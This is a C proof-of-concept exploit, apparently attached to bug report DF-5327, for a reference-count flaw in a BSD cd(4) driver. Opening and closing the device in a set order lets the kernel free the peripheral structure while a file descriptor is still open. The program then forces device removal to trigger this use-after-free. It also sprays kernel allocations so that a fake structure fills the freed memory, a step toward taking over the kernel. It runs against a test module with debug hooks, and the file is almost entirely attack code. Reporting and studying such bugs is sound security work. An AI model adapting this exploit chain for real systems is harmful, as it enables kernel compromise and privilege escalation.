DF-5327 / poc_multopen.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 | /* DF-5327 PoC (deterministic, no signals, no races): * * The cd(4) open/close refcount protocol ("Closes aren't symmetrical with * opens" fixup in cdopen + UNCONDITIONAL release in cdclose) allows a plain * open/open/close/close sequence to drive the cam_periph refcount BELOW the * number of open file descriptors: * * fd1 = open("/dev/cd1") refcount 0 -> 1 (open ref kept, flag set) * fd2 = open("/dev/cd1") acquire+release (net 0: "fixup") * close(fd2) cdclose: hold/unhold balanced * + unconditional release -> refcount == 0 * *** with fd1 still open *** * * refcount == 0 means the next AC_LOST_DEVICE (device removal / bus dereg) * frees the periph + softc synchronously while fd1 is still open and * parkable threads are still in cam_periph_* paths. * * Requires: evilcd2.ko loaded (fake CD at scbusX target 0 lun 0 -> /dev/cd1). */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/cdio.h> #include <sys/sysctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> static int refcnt(void) { int v = -999; size_t l = sizeof(v); sysctlbyname("debug.evilcd.refcnt", &v, &l, NULL, 0); return (v); } static char * postmortem(void) { static char buf[1024]; size_t l = sizeof(buf); if (sysctlbyname("debug.evilcd.postmortem", buf, &l, NULL, 0) != 0) strlcpy(buf, "(sysctl failed)", sizeof(buf)); return (buf); } int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/cd1"; int fd1, fd2, rc; printf("[poc] device %s\n", dev); fd1 = open(dev, O_RDONLY); if (fd1 < 0) err(1, "open#1 %s", dev); rc = refcnt(); printf("[poc] after open#1 : refcount=%d (expect 1)\n", rc); fd2 = open(dev, O_RDONLY); if (fd2 < 0) err(1, "open#2 %s", dev); rc = refcnt(); printf("[poc] after open#2 : refcount=%d (expect 1: 2nd open's " "acquire was released by the 'symmetry fixup')\n", rc); if (close(fd2) != 0) err(1, "close#2"); rc = refcnt(); printf("[poc] after close#2: refcount=%d (expect 0 -- *** " "exhausted while fd1 is still open ***)\n", rc); if (rc == 0) printf("[poc] PROOF-1: periph refcount == 0 with an open " "descriptor -- any invalidation now frees it\n"); /* * Device removal (AC_LOST_DEVICE): with refcount == 0 this runs * camperiphfree() synchronously: softc kfree'd, periph kfree'd, * while fd1 is open. We fork so that even if disk_destroy stalls * on the open descriptor we can still close fd1 and finish. */ printf("[poc] invalidating (device removal)...\n"); fflush(stdout); if (fork() == 0) { int v = 1; size_t l = sizeof(v); sysctlbyname("debug.evilcd.invalidate", NULL, NULL, &v, l); _exit(0); } sleep(2); close(fd1); sleep(1); wait(NULL); printf("[poc] postmortem (freed chunk): %s\n", postmortem()); /* * Attacker-side reallocation of the freed periph chunk: the rig * sprays sizeof(struct cam_periph) allocations until one lands at * exactly the freed address, then writes a fully chosen fake * (sim/path/softc/refcount=0x41414141). */ { int v = 1; size_t l = sizeof(v); if (sysctlbyname("debug.evilcd.sprayfake", NULL, NULL, &v, l) != 0) printf("[poc] sprayfake sysctl failed\n"); } sleep(1); printf("[poc] postmortem (after groom): %s\n", postmortem()); printf("[poc] done\n"); return (0); } |